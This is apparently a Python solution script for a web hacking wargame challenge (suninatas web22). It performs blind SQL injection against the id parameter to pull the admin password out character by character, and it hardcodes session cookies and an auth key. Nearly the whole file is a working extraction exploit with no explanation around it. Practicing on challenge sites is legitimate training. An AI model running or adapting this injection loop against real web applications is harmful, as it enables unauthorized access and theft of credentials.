1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import requests import string
url = "http://suninatas.com/challenge/web22/web22.asp" cookies = { "ASP.NET_SessionId": "3g042optmn40uhuoxlqhkvai", "ASPSESSIONIDACTRACSS": "MEJDPMPAHECDELCJCFEOEINE", "ASPSESSIONIDCCTSAAQT": "NNMDDJIBCMFACGADEKFHFNCA", "ASPSESSIONIDQSBTDCST": "DNDPAPJCEPOJPKPFACBKBPKJ", "auth_key": "65038b0559e459420aa2d23093d01e4a", "ASPSESSIONIDAARSBCRR": "NNOJOPPCBMOBJCNACCPNBHIP", "ASPSESSIONIDCCTQCCSR": "FLDDKMEDLOFIPEODAHAPDDID", "ASPSESSIONIDCCRRBDTT": "AGEJLNGDPEFCCNCGDHAPBLEH" }
charset = string.ascii_letters + string.digits + "!@#$%^&*()_+"
password = "" for i in range(1, 31): found_char = False for char in charset: payload = f"'and(substring(pw,{i},1)='{char}')--"
params = { 'id': 'admin' + payload, 'pw': 'a', }
try: target_url = f"{url}?id={params['id']}&pw={params['pw']}" r = requests.get(target_url, cookies=cookies) if "OK" in r.text: password += char print(f"[+] Found char at index {i}: {char}") found_char = True break except Exception as e: print(f"[!] Error: {e}")
if not found_char: print("[-] End of password or char not in charset.") break
print(f" [SUCCESS] Final Password: {password}")
|